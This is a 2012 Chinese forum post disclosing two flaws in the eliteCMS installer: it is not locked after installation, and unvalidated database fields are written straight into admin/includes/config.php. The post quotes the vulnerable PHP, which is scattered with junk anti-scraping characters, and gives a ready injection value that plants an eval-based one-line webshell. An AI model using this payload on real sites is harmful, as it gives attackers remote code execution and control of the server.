找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2155|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装: W) `& y! a7 ?  k: B

& b6 ?! e+ @! [! Y5 h另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php+ S9 Y3 Q# D5 w
我们来看代码:
1 g- [* Z; r5 y$ n& j9 y% S " \8 O6 I6 k' ?/ `0 A# b
...( L" f. w9 j/ O0 r% ~4 E  h8 D
elseif ($_GET['step'] == "4") {
- |6 ~0 O8 _) }8 ]$ @' A' E    $file = "../admin/includes/config.php";7 N0 n3 j8 a- F5 D! c/ U: y: ^
    $write = "<?php\n";
1 e7 }3 C: U! B: Y4 n  O/ b    $write .= "/**\n";9 z) O! b# f( |; i0 {
    $write .= "*\n";
, ~" Y5 m6 W! _- r% k; d    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
% @1 m5 A" Q4 m  i  L/ j- f...略...
/ Y( r; k; x/ F1 [    $write .= "*\n";
1 |# ]9 w1 h3 S* T; {0 \    $write .= "*/\n";6 [3 y! J0 e+ z
    $write .= "\n";# g0 `5 A) [! H, Y/ W3 f7 @1 m: y
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
' t) D  \' \# w$ s! g% O: S    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
4 [' W+ b2 j% w3 D6 W8 k& L    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";4 K# W0 X" ?- G' R
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
! i3 n$ s2 A/ k- y    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
! t$ x) j: q5 c6 c$ s; E    $write .= "if (!\$connection) {\n";/ x* ]3 q- W6 m; V3 |
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
5 r6 e# ~6 _$ v& @4 H  I5 q4 e+ S    $write .= "        \n";( e- T/ H5 T0 y1 w& |4 ^
    $write .= "} \n";: T( y1 J# e2 k" g
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
8 _1 \$ E: P7 |, f* p    $write .= "if (!\$db_select) {\n";
+ u  ]5 J5 z( S- ~" u: t8 |    $write .= "        die(\"Database select failed\" .mysql_error());\n";# _; s' o4 N$ V; s, \2 I
    $write .= "        \n";8 q0 U& v' }9 o; C0 `  F
    $write .= "} \n";9 r8 }$ Q& w# X! c$ M# s
    $write .= "?>\n";% P6 q7 E9 t( S

1 g; p3 K: S( Z) N6 H" Y    $writer = fopen($file, 'w');
# R; ?4 }" l3 P...
/ C; s  S9 Z$ T, r8 z9 r
  N1 f# n* j7 O; a在看代码:
  _" [3 u4 D  S1 ^! F: B5 F 2 Z- @  Z: b6 c. |
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
' z+ v" \0 h# F" ^$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
/ o. B& l+ V3 O4 |% Y9 w$_SESSION['DB_USER'] = $_POST['DB_USER'];7 j# Z9 ?3 I) r5 o+ b
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
3 P" j! W3 C8 R
8 U4 D* ^9 D6 M0 E取值未作任何验证- Z: }. |4 L% Z. @- D( V
如果将数据库名POST数据:' l1 P/ u7 Y" G0 n4 j+ R* v
& D* _  V% [9 ^$ }
"?><?php eval($_POST[c]);?><?php
0 v; |% N$ ^4 W& V/ Q 4 p2 H6 _, S$ }5 q) w
将导致一句话后门写入/admin/includes/config.php$ ]* x' c5 z/ q; S. A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表